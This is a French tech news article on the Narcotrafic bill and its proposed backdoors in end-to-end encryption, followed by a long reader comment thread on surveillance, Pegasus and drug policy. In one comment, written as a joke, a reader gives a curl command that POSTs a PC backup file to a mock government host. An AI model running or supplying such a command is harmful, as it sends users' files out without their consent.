La proposition de loi Narcotrafic fustigée pour ses portes dérobées dans le chiffrement
Concert de critiques
La proposition de loi Narcotrafic sera présentée en commission des lois à partir du 5 mars. Elle contient un long train de mesures visant à « sortir la France du piège du narcotrafic ». Le texte cumule une pluie de critiques depuis plusieurs mois, particulièrement sur ses mesures d’exception et les dispositions prévues pour les messageries chiffrées, qui seraient forcées d’introduire des portes dérobées.
La lutte contre le narcotrafic est au cœur des débats actuellement. Du 5 au 7 mars, une proposition de loi sera présentée en commission des lois, après avoir été approuvé à l’unanimité par le Sénat. Le texte est d’ailleurs porté par deux sénateurs, Étienne Blanc et Jérôme Durain.
Il prévoit de nombreuses mesures, dont beaucoup font réagir. C’est particulièrement le cas sur l’idée de « dossier-coffre » et les obligations envisagées pour les éditeurs de messageries sécurisées. En France, le chiffrement de bout en bout est une nouvelle fois menacé.
Que dit la proposition de loi Narcotrafic ?
Le texte contient une très longue liste de mesures. L’une des plus importantes est la création d’un parquet spécialisé, nommé Pnaco, pour « parquet national anticriminalité organisée ». Reprenant le fonctionnement d’autres parquets spécialisés (dont le PNF, pour parquet national financier), il ne s’occuperait que des affaires graves dans le domaine du narcotrafic en bande organisée. Jouant un rôle de coordinateur avec les autres parquets, il nécessiterait des magistrats spécialisés. Il serait accompagné de l’EMCO (état-major criminalité organisée), qui agirait comme un service d’enquête renforcé.
Commentaires (43)
Modifié le 28/02/2025 à 18h12
c'est un peu comme l'histoire des clé TSA pour les valises, ils ont fait les malins en s'affichant avec les clés devant les journalistes et après des petits malins ont pu faire des copies :
Le 28/02/2025 à 18h10
Modifié le 28/02/2025 à 18h20
Donc ils seraient tranquilles sous Telegram
Le 28/02/2025 à 18h27
Le 28/02/2025 à 18h37
Le 28/02/2025 à 18h49
C'est peut-être parce qu'ils ne font pas de chiffrement de bout en bout par défaut.
Mais de toute façon, tous ceux qui font du chiffrement de bout en bout ne sont pas cités et cela s'appliquerait à tout fournisseur de prestations de cryptologie qu'ils aient ou non accès à la clé privée, pas juste aux messageries.
Modifié le 01/03/2025 à 01h33
Il est dommage que l'article de Next ne parle que des messageries, et pas aussi des gestionnaires de mots de passe.
Le 01/03/2025 à 14h36
Quant au fait que Next ne parle que de messagerie, c'est peut-être lié à la difficulté de comprendre les modifications du texte de loi.
Marc Rees qui a plus d'expérience sur le sujet a appliqué les modifications au texte actuel pour avoir le texte futur (éventuel) en mettant des couleurs et en barrant l'ancien texte. Il a donc pu écrire :Le texte s'applique aux correspondances et aux données, ou dans le texte, aux "informations, documents, données ou renseignements" concernant tous les acteurs...
Il a dû remarquer que le texte de loi modifié était l'article qui régissait de façon générale la fourniture de moyens cryptographiques. Comme je le connaissais, j'ai eu la même réflexion.
Remarque : il indique que les sénateurs n'ont pas compris non plus le texte qu'ils ont voté faute d'avoir pu faire la même chose. Honte à eux !
Le 02/03/2025 à 14h48
Le 02/03/2025 à 15h01
Le 03/03/2025 à 23h07
Ils mettent dans les mains des criminels des pixels avec Anon qui est soit disant intraçable et avec une messagerie chiffré mais ils n'arrivent pas à traiter le flux de messages dessus :
Le 04/03/2025 à 10h09
Le 04/03/2025 à 14h15
Le 04/03/2025 à 14h23
@Joan.k.l.m
Ça a l'air de fonctionner, mais bizarrement quand on tape juste @ et J
On voit son pseudo JK apparaître plusieurs fois avec son avatar et ce @Joan... qui apparaît en même temps.
Si on tape @ et JK, son pseudo n'apparaît plus dans la liste.
C'est vraiment étrange.
On verra bien s'il est notifié avec mon test.
Par contre, pour l'auteur de l'article, ça fonctionne bien.
Le 02/03/2025 à 02h20
Le 28/02/2025 à 18h25
En fait, je suis optimiste : le déficit de 2023, dernier connu est de 154,8 milliards d'euros (161 milliards de dollars) mais le déficit 2024 sera assez nettement plus mauvais (à peu près 0,6 % de PIB en plus). Il va falloir mettre à l'amende un autre GAFAM.
À moins que toutes les sociétés qui offrent un tel service ne l'offrent plus en France. Les Français seront limités à l'utilisation du ROT13 pour protéger leur vie privée.
La seule solution si le texte passe en l'état, c'est effectivement de ne pas permettre le chiffrement de bout en bout en France avec une clé de déchiffrement inconnue de l'offreur de service.
Le 28/02/2025 à 18h42
Le 28/02/2025 à 19h07
Et cette solution pourrait être applicable à tout le monde tout en respectant cette nouvelle loi si elle est votée en l'état.
Ce serait assez difficile à mettre en œuvre de façon sécurisée à grande échelle : le transport de clés privées de façon sure est complexe, mais pour un nombre limité de personnes de l'État qui ont un besoin fort de protéger leur correspondance et leurs données tout en respectant cette nouvelle loi, ça serait possible.
Modifié le 02/03/2025 à 00h53
Et sans avoir installé volontairement et de son plein gré une app spécifiquement conçue par le Ministère de l'intérieur et donné son accord, pourrait-on savoir comment on peut activer à distance caméra & micro ?
En tout cas, pour mon POCO F2 (@ 2020) pour capter l'image avec la Caméra "Selfie", ils sont bien niqués pour le faire sans que ça se remarque car c'est le seul & unique smartphone que j'ai vu en plus de 15 ans qui a une caméra motorisée caméra motorisée, caméra qui sort du smartphone à l'aide d'un petit moteur électrique.
Pareil que dans Robocop 2 (fan de), quand Murphy est à 2 doigts d'un Shutdown complet et là un petit écran de contrôle sort de son bras droit. Donc pas facile s'ils veulent discrètement me l'activer à distance, ma caméra frontale de F2.
Bref...
Edward Snowden avait dit un jour à un journaliste qu'il venait d'acheter un nouveau robot mixeur pour sa cuisine mais ne pouvait pas en donner la marque... car la NSA aurait apparemment une liste très complète de profils sonores très fidèles des principaux robots mixeurs vendus sur le marché ainsi qu'ils posséderaient des capteurs sonores type parabole équipés de microphones ultra sensibles & performants...
On n'arrête pas le progrès... mais pour des conneries en fait des fois...
Le 28/02/2025 à 19h36
via next Pegasus : débouté par la Justice française, le Maroc pourrait attaquer la France à la CEDH
Le 28/02/2025 à 19h50
Et il me semble que l'on n'a pas de solution équivalente (0 clic = sans intervention de l'utilisateur) si j'ai de bons souvenirs des articles lus ici.
Le 28/02/2025 à 20h47
On pourrait même penser que ce soit eux même qui ont créé volontairement ces brèches sur injonction quand le gouvernement US leur a demandé de contribuer à un p'tit effort pour la sécurité nationale du pays...
Depuis déjà les quelques années dont on entend parler de Pegasus, avec toutes les grosses pointures (PhD) chez Apple et Google, ils auraient sûrement dû trouver où étai(en)t le(s) trou(s) à boucher depuis bien longtemps déjà...
Le 01/03/2025 à 19h11
Le 01/03/2025 à 03h29
Modifié le 01/03/2025 à 06h02
Ha oui exact en effet !
OnePlus 7 Pro
Il faut dire aussi que sur 20 ans de taff, je n'ai vu qu'UNE fois seulement un collègue qui avait un OnePlus comme smartphone... Et je l'ai félicité pour ça.
(De même qu'un seul gars que j'ai rencontré avec un Google Pixel aussi...)
Modifié le 28/02/2025 à 20h09
Est ce que c'était déjà honteux à l'époque ? Oui.
Est ce que ça l'est toujours autant ? Oui.
Est ce que 99.99% de la population s'en tartine la babouche ? Oui (malheureusement)
Modifié le 28/02/2025 à 20h55
Le 01/03/2025 à 12h57
- installation de mouchards physiques sur le PC/smartphone de la cible lorsqu'elle lâche son équipement
- installation d'application sur le PC/smartphone via un accès physique au téléphone (la mallette Celebrite, c'est magique)
- utilisation de vulnérabilités connues (ou non) de type 0 click RCE
- social engineering
- infiltration dans la chaine de transport afin d'accéder aux équipements avec leur mise en vente (ça c'est déjà vu avec la NSA
Le "comment" est à vue de nez laissé à la discrétion des personnes autorisées (la DGSI en somme). Maintenant, c'est certain que mes solutions ne permettent pas une écoute à grande échelle.... Pour l'instant
Sans tomber dans la paranoïa, si demain google/apple/MS permet à un gouvernement de déposer une petite backdoor des familles*, le gouvernement aura déjà préparé le terrein depuis des années et la DGSI pourra sortir cet article et dire "Bah quoi ? On a le droit, c'est tout bon"
*Je ne dis pas que c'est fait, pas fait, que ça se fera, que ça ne se fera pas hein. Je pars juste sur une hypothèse.
Le 28/02/2025 à 20h58
Modifié le 01/03/2025 à 13h05
Je n'ai pas l'impression que l'article de loi parle du 2eme cas.
Pour moi*, la loi que j'ai linkée définit :
- la mise en place d'un dispositif technique : c'est suffisamment large pour qu'on puisse parler d'un mouchard physique sur l'ordi, de l'installation d'un software, voire de l'utilisation d'une vulnérabilité permettant l'exécution de code
- sur un système informatique : comprendre ordinateur, smartphone, box FAI, ou tout autre équipement avec un processeur
- permettant de sauvegarder et transférer les données : curl http://dgsi.gouv.fr/onsefaitponcer -XPOST --data-binary "@backup_de_ton_pc.gz"
- données affichées, écrites au clavier, reçues ou émises par des périphériques : grosso modo tout ce qui transite sur un canal d'entrée/sortie. Du coup, caméra et micro, ça rentre dans la définition
*Attention, je suis expert en droit uniquement le soir en rentrant du bar
Autrement dit : je fais une analyse qui me semble juste mais à tout moment je me gaufre, et je suis évidemment ouvert à la critique et à la discussion bienveillante :)
Le 01/03/2025 à 13h51
Néanmoins, la CNCTR (organisme chargé de surveiller les actions des services de renseignement) parle de dispositif technique pour des "balises" permettant la localisation dune personne, d'un objet ou d'un véhicule. On n'est pas ici dans la lutte contre le crime et la délinquance organisée, mais le vocabulaire est le même.
En plus, en relisant les articles de loi que tu as mis en lien, le dernier article dispose que :Cela confirme donc bien qu'un dispositif technique peut être un logiciel puisque transmis par un réseau télécom. Par contre, ce même article limite cette possibilité de transmission sur un réseau au premier article de la page, c'est-à-dire permettant de récupérer des données stockées sur un système informatique ou affichées sur un écran, saisies sous forme de caractères ou encore "telles qu'elles sont reçues et émises par des périphériques."
Est-ce que ce dernier point concernant les périphériques peut concerner les micros ou caméras ? C'est bien possible. Là aussi, ça dépend de si un smartphone est considéré comme un système informatique ou pas, mais la réponse est probablement oui.
Bref, je n'ai aucune idée de qui a raison entre nous deux !
En continuant à chercher, je suis tombé sur cet article qui allie droit et technique qui apporte des réponses.
L'activation à distance de micro ou caméra a été censurée par le Conseil Constitutionnel. Remarque : il reste possible de le faire en se déplaçant dans le lieu où l'on veut écouter ou voir.
C'est en particulier ce point que veulent réintroduire uniquement pour la lutte contre le narcotrafic. Il est possible que dans ce cas limité, le Conseil Constitutionnel l'accepte.
Il l'avait refusé avec la justification suivante :Donc, pour lutter contre la drogue, il est possible qu'il considère que c'est proportionné.
Le 01/03/2025 à 20h13
Je vais m'empresser de lire tout ça, merci !
Le 03/03/2025 à 13h59
52 ans, c'est étendu à toutes les formes de criminalité ...Le 03/03/2025 à 14h17
Je m'appuie sur cette partie :Reste à voir les activités illégales que l'on met dedans, mais ce ne sera pas "toutes les formes de criminalité". Le CC juge de la proportionnalité dans ce genre de cas.
J'ai l'impression que l'on est en train de mettre le trafic de drogue au même niveau que le terrorisme au moins au niveau politique. Quand on voit le nombre de morts qu'il cause, ça peut se comprendre, même si personnellement, je ne suis pas de cet avis. Quand je vois les pubs du gouvernement, culpabilisant les consommateurs sur les conséquences de leur consommation, je pense que ça n'est pas près de changer.
Personnellement, je serais plutôt pour un légalisation des drogues douce ce qui à la fois rapporterait de l'argent à l'État mais surtout diminuerait les guerres de gangs et permettrait aux forces de l'ordre de se consacrer à la lutte contre le trafic des drogues plus dures.
Quand plus de 10 % ont consommé du Cannabis dans les 12 derniers mois, on ne peut pas lutter. La prohibition ne marche pas.
Et je ne suis pas consommateur de drogues illégales et ne l'ai jamais été, donc, je n'ai aucun biais sur le sujet.
Le 03/03/2025 à 14h46
Toujours est il que je suis moins optimiste que toi sur l'extension de ce texte s'il devait passer.
Modifié le 28/02/2025 à 22h34
Traduction mytho français: « Il s’agit non pas de respecter les principes démocratiques, mais de faire comme moi je dis »
Le succès du n'imp' aux EUA leur donne des ailes à tous, ils osent tout. La lutte contre les terroristes et la pédocriminalité c'est has-been, alors que le narcotrafic ça à l'air tout neuf et hyper-tendance, ça doit faire exploser les score d'audience.
Plus sérieusement, ces histoires de narcotrafic, c'est lié à une quelconque augmentation du phénomène, ou c'est juste une nouvelle séquence politique créée de toute pièce ?
Le 01/03/2025 à 01h39
Le 01/03/2025 à 10h01
200 000 trafiquants de drogue en France (estimation) Voir ici (passer en mode lecture pour lire si besoin)
250 000 policier et gendarmes, voir ici.
Et je ne parle pas du nombre de prisons qu'il faudrait construire pour les accueillir !
Le 02/03/2025 à 14h44
Le 01/03/2025 à 19h36
« ... notre réponse est la même : nous quitterions le marché ... ».
Que veut dire "quitter le marché" ? Signal ne serait plus disponible sur les magasins d'applications pour les utilisateurs français (et qur quel critère est-on "français") ? Ou seules les mises à jour seront bloquées ? Pourra-t-on continuer utiliser la version installée, ou même l'accès au protocole sera bloqué ?
Modifié le 03/03/2025 à 15h43
- Vous n'avez aucune preuve !
- Vous avez l'air stupéfait.
- Naturellement !
- C'est nous qui vous stupéfions ?
- Qui d'autre ?
- Nous sommes donc des stupéfiants.
- Evidemment.
- Ben quiconque a des stupéfiants dans sa demeure a de bonnes raisons d'être arrêté ! Embarquez-le !
(logique implacable)
Le 03/03/2025 à 15h19
Le 03/03/2025 à 18h01
La Cour européenne des droits de l'homme (CEDH) s'est déjà positionnée sur le sujet.
En votant cette loi, la France violerait le droit au respect à la vie privée et à la correspondance.
Finalement, et si le vice-président américain J. D. Vance avait raison quand il déclarait qu' « En Grande-Bretagne et à travers l’Europe, la liberté d’expression, je le crains, est en retrait » lors de la Conférence de Munich sur la sécurité.